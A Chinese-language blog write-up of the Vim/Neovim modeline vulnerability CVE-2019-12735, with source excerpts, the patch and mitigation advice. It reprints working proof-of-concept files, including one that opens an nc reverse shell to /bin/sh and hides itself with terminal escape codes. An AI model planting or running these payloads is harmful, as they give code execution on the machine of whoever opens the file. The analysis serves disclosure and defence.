更新以列入计划 关闭所有vs窗口后开始执行修改_Vim任意代码执行漏洞(CVE201912735)...

65bb3c5fe4b5c46121be150233cd7b14.png

背景

近日,著名编辑器Vim/NeoVim爆出了任意代码执行漏洞,打开恶意文件即可触发,受影响的版本:

Vim < 8.1.1365, Neovim < 0.3.6

漏洞成因

漏洞产生于Vim的modeline功能中,使用modeline功能时,通常把一段配置代码放在文件的开头或结尾处,用于对此文件进行编辑器功能的配置,此配置会覆盖Vim的默认配置(通常在~/.vimrc中)。

modeline功能便于文件在共享时保持一致的编辑格式。例如,我们通常会在Python文件开头加上modeline来设置缩进:

# vim: ai ts=4 sts=4 et sw=4 ft=python# vim: autoindent tabstop=4 shiftwidth=4 expandtab softtabstop=4 filetype=python

由于modeline中的命令运行于命令模式(在正常模式下按:进入),而在命令模式下可以进行修改文件、执行脚本等敏感操作,这就产生了被恶意攻击的可能。

因此从安全角度考虑,在modeline中,只支持set命令,同时一些配置项会被隔离到沙箱(sandbox)中运行。

在沙箱中,修改文件、修改快捷键、执行shell脚本等操作都被禁止。

沙箱检查由函数check_secure实现,用HAVE_SANDBOX判断是否在沙箱中,是的话生成错误信息并返回TRUE。

// vim/src/ex_cmds.c/* * Check if the secure flag is set (.exrc or .vimrc in current directory). * If so, give an error message and return TRUE. * Otherwise, return FALSE. */    intcheck_secure(void){    if (secure)    {    secure = 2;    emsg(_(e_curdir));    return TRUE;    }#ifdef HAVE_SANDBOX    /*     * In the sandbox more things are not allowed, including the things     * disallowed in secure mode.     */    if (sandbox != 0)    {    emsg(_(e_sandbox));    return TRUE;    }#endif    return FALSE;}

check_secure函数在一些涉及敏感操作的地方被用到,例如在buf_write函数中的使用,禁止了在沙箱模式下写buf文件。

// vim/src/fileio.c    intbuf_write(...){    // ...    /*     * Disallow writing from .exrc and .vimrc in current directory for     * security reasons.     */    if (check_secure())      return FAIL;    // ... }

然而在:source!命令中,并没有进行沙箱检查。:source!命令用于在命令模式下逐个运行目标文件中的命令,通常被用来加载配置文件。同时,在命令模式下有多种方式执行shell脚本。

前文提到,可以在modeline中设置的配置项是有限的,因此需要一个能让我们执行:source!的配置项。

配置项的限制是通过P_SECURE这个flag来判断的,foldexpr没有设置P_SECURE,符合要求。

// vim/src/option.c// foldexpr 未设置P_SECUREstatic struct vimoption options[] ={   // ...    {"foldexpr",    "fde",  P_STRING|P_ALLOCED|P_VIM|P_VI_DEF|P_RWIN|P_MLE,#if defined(FEAT_FOLDING) && defined(FEAT_EVAL)                (char_u *)VAR_WIN, PV_FDE,                {(char_u *)"0", (char_u *)NULL}#else                (char_u *)NULL, PV_NONE,                {(char_u *)NULL, (char_u *)0L}#endif                SCTX_INIT}// ...          };// ...// 通过option的flag判断if (flags & (P_SECURE | P_NO_ML)){    errmsg = _("E520: Not allowed in a modeline");    goto skip;}

因此,可以构造PoC如下:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="

保存成文件poc.txt,用Vim打开,命令uname -a将会被执行。

PoC分析

命令执行

# poc.txt:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="

打开poc.txt时,Vim会在首行寻找modeline,从vi:处开始匹配,忽略前面的字符,解析出的modeline表达式为:

vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt=

modeline中的配置项(option settings)通过:分隔,vi后面的每一项都会当做:set的参数在normal模式下被运行。

这里的一系列配置都是有关于代码折叠的,让我们逐个解析配置项:

  • fen: 当值为off时,所有的代码折叠都被打开,默认是off

  • fdm=expr: 产生折叠的方式,可能的值有manual, indent, expr, marker, syntax, diff。 其中expr表示将由’foldexpr’的值来给出某一行的折叠level

  • fde=assert_fails("source! %"): fde是foldexpr的缩写,功能见上一条;source!命令前文已经提过,这里的%是指当前文件;assert_fails用于执行命令并处理错误信息,这里我们只用于执行命令。

  • fdl=0: 折叠的程度,设置为0时会关闭所有的折叠,默认是0

  • fdt: 被关闭的折叠处显示的字符串,默认是”foldtext()”

综合下来,这个modeline会让Vim执行:source! poc.txt,让我们来看会发生什么。

poc.txt中只有一行,相当于在Vim normal mode中运行这一行,:!xxx表示在shell中执行xxx命令。

所以,下面的命令会在shell中被执行:

uname -a||" vi:fen:fdm=expr:fde=assert_fails("source!\%"):fdl=0:fdt="

||表示只有在前一个命令执行失败后才会执行后一个命令,在这里uname -a会执行成功,||后面的字符串被忽略,所以PoC到这里就执行成功了。

反弹shell

漏洞作者给出了另一个PoC,可以反弹一个shell, 利用了转义字符使得恶意代码在终端不可见,还在PoC执行结束后重写了文件使得痕迹被彻底清除。

# 在另一终端窗口运行nc -vlp 9999# shell.txt x1b[?7lx1bSNothing here.x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n

除去转义字符和重写文件部分,可以简化成如下所示:

# shell_simple.txt:call system('nohup nc 127.0.0.1 9999 -e /bin/sh &')  ||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="

由前面的知识我们可以知道,此poc会在vim的normal模式下运行:

:call system('nohup nc 127.0.0.1 9999 -e /bin/sh &')

拆开分析:

  • call: 执行一个函数

  • system(): 执行shell命令

  • nohup nc 127.0.0.1 9999 -e /bin/sh &: 反弹shell

可能遇到的问题

modeline功能开关

普通用户的modeline功能默认开启,而root用户是默认关闭的。
可以在命令模式下使用:echo &modeline查看开启情况,返回1就是开启、0就是关闭。modeline功能
需要打开,PoC才能成功运行,可以在~/.vimrc中加上一行set modeline确保开启此功能。

第二个反弹shell的PoC,复制粘贴到本地运行会失败

刚开始看到这两段exp的时候,我只成功复现了第一个,第二个失败了。研究后发现问题出现在转义字符上,这时候我看到PoC作者的repo里面带了第二段exp的源文件,于是我用wget下载了shell.txt,重新尝试,这次漏洞复现成功了!

用二进制查看工具Okteta打开shell.txt,可以看到转义字符x1b是非显示字符。转义字符常常用来控制终端显示、光标移动等,第二个PoC中就利用了转义字符隐藏代码的功能,有关转义字符的知识可以参考这个链接ansi-escape-codes。

b5f80c79207af4470042e106fe42c3bb.png

$ cat shell.txt   # 部分输出在终端中被隐藏Nothing here$ cat -A shell.txt ^[[?7l^[SNothing here.^[:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set fde=x | source! %') fdl=0: ^V^[[1G^V^[[KNothing here."^V^[[D $

作者文章给出代码中的x1b是为了更清晰地表达,并不能直接复制使用。

所以如果我们想要修改第二段利用代码,比较简单的方式是是下载源文件,修改执行命令的部分,当然也可以使用二进制编辑器直接编写或修改。

修复

Vim发布了 patch 8.1.1365: source command doesn’t check for the sandbox

openscript函数中增加了沙箱的检查,防止在沙箱中source文件。

daef48e87ad5fe798874e36c0142c696.png

3043f37eaf952ef604578f0d528ee8b9.png

/* * Open a new script file for the ":source!" command. */    voidopenscript(  // ...  // Disallow sourcing a file in the sandbox, the commands would be executed  // later, possibly outside of the sandbox.  if (check_secure())    return;  }  // ...

安全建议

  1. 更新到vim >= 8.1.1365 / neovim > v0.3.6

  2. 在vimrc中加入set nomodeline,禁用modeline

  3. 不要轻易打开来路不明的文件

参考

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

https://vimhelp.org/

https://github.com/vim/vim/commit/5357552

1f5b23db371cfb532128a43a5c457e89.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值